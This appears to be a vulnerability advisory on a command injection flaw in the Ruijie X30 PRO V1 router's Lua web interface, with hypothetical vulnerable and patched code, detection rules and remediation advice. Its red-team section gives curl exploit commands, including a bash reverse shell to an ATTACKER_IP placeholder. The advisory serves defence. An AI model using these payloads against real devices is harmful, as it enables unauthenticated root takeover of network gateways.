CVE-2025-56092

Executive Summary

CVE-2025-56092 is a critical OS Command Injection vulnerability discovered in the Ruijie X30 PRO V1 router, specifically in firmware version X30-PRO-V1_09241521. The flaw resides in the /usr/local/lua/dev_sta/networkConnect.lua file, where the module_get function fails to sanitize user-supplied input from a crafted POST request. This allows an unauthenticated attacker to execute arbitrary operating system commands on the device with root privileges. The vulnerability is currently unpatched, and no official fix has been released by Ruijie. Given the router's role as a network gateway, successful exploitation could lead to full device compromise, network pivoting, and persistent access.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, the vulnerability can be assessed based on its characteristics:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full file system access.
• Integrity (I): High (H) – Arbitrary command execution.
• Availability (A): High (H) – Can disrupt router services.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the affected device is a network gateway, making it a prime target for botnets, ransomware, and persistent access.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection flaw in the Lua-based web management interface of the Ruijie X30 PRO V1 router. The file /usr/local/lua/dev_sta/networkConnect.lua contains a function module_get that processes POST requests. This function likely takes user-supplied parameters (e.g., action, ip, port) and passes them unsanitized to a system-level command, such as ping, traceroute, or a custom shell script.

Root Cause: The application does not validate or escape user input before concatenating it into a command string that is executed by the operating system. For example, a parameter like ip=127.0.0.1;id would be passed directly to a shell, resulting in the execution of the id command after the intended operation.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /cgi-bin/luci/;stok=/module_get).
2. Attacker crafts a POST request with a malicious payload in one of the parameters.
3. The Lua script concatenates the payload into a command string.
4. The command is executed by the system shell (e.g., /bin/sh).
5. The attacker's command runs with root privileges, allowing full control of the device.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable Lua code:

Vulnerable Code (networkConnect.lua):

function module_get(request)
    local ip = request:get("ip")
    local cmd = "ping -c 4 " .. ip
    local handle = io.popen(cmd)
    local result = handle:read("*a")
    handle:close()
    return result
end

Patched Code (Hypothetical):

function module_get(request)
    local ip = request:get("ip")
    -- Validate input: only allow IP addresses
    if not ip:match("^%d+%.%d+%.%d+%.%d+$") then
        return "Invalid IP"
    end
    local cmd = "ping -c 4 " .. ip
    local handle = io.popen(cmd)
    local result = handle:read("*a")
    handle:close()
    return result
end

The patched version would validate the input format before using it in a command, preventing injection of shell metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Ruijie X30 PRO V1 with firmware X30-PRO-V1_09241521.
• Attacker: Kali Linux or any system with curl and netcat.

Exploitation Steps:

1. Identify the vulnerable endpoint. Typically, it is accessible via the router's IP (e.g., 192.168.1.1).
2. Craft a POST request to the vulnerable function. The exact endpoint may be /cgi-bin/luci/;stok=/module_get or similar.
3. Inject a command using shell metacharacters like ;, |, or $(...).

Example Exploit (using curl):

curl -X POST http://192.168.1.1/cgi-bin/luci/;stok=/module_get \
  -d "ip=127.0.0.1;id"

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Advanced Payload (Reverse Shell):

curl -X POST http://192.168.1.1/cgi-bin/luci/;stok=/module_get \
  -d "ip=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to the router's management interface for unusual parameters.
• Look for shell metacharacters (;, |, &, $, `) in POST data.
• Alert on outbound connections from the router to unusual IPs/ports (e.g., reverse shell).

Mitigation:

• Immediately isolate affected devices from the internet.
• Disable remote management if not required.
• Implement network segmentation to limit lateral movement.
• Monitor for unauthorized configuration changes.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/luci/;stok=/module_get with suspicious parameters.
• Outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
• Unusual DNS queries from the router.

File System IOCs:

• Presence of unexpected files in /tmp/ or /var/run/.
• Modified system binaries (e.g., /bin/busybox).
• New cron jobs or startup scripts.

Process IOCs:

• Running processes like bash, nc, python, or perl spawned by the web server.
• Unusual child processes of lighttpd or uhttpd.

Detection Engineering

YARA Rule

rule CVE_2025_56092_Ruijie_X30_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-56092 in Ruijie X30 PRO V1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56092"
    strings:
        $s1 = "module_get" ascii wide nocase
        $s2 = "networkConnect.lua" ascii wide nocase
        $s3 = "ip=" ascii wide nocase
        $s4 = ";" ascii wide
        $s5 = "|" ascii wide
        $s6 = "$(" ascii wide
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5, $s6)
}

Sigma Rule

title: Ruijie X30 PRO V1 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable module_get endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56092
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'module_get'
        cs-uri-query|contains: 'ip='
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in IP parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56092 Ruijie X30 PRO V1 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"module_get";
    http_uri;
    content:"ip=";
    http_client_body;
    pcre:"/(;|\||\$\(|`)/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-56092;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect affected devices from the internet and untrusted networks.
2. Disable Remote Management: Turn off WAN-side management access.
3. Monitor: Review logs for signs of exploitation.

Long-Term Fixes:

• Vendor Patch: Await an official firmware update from Ruijie. Check their security advisory page regularly.
• Workaround: If source code is available, apply input validation to the module_get function (see patched code example).
• Replace Device: Consider replacing the router with a more secure alternative if no patch is forthcoming.

Compromise Assessment:

• Check for unauthorized SSH keys, new user accounts, or modified system files.
• Reset the device to factory defaults and reconfigure with strong passwords.
• Monitor network traffic for persistent backdoor connections.

Valters IT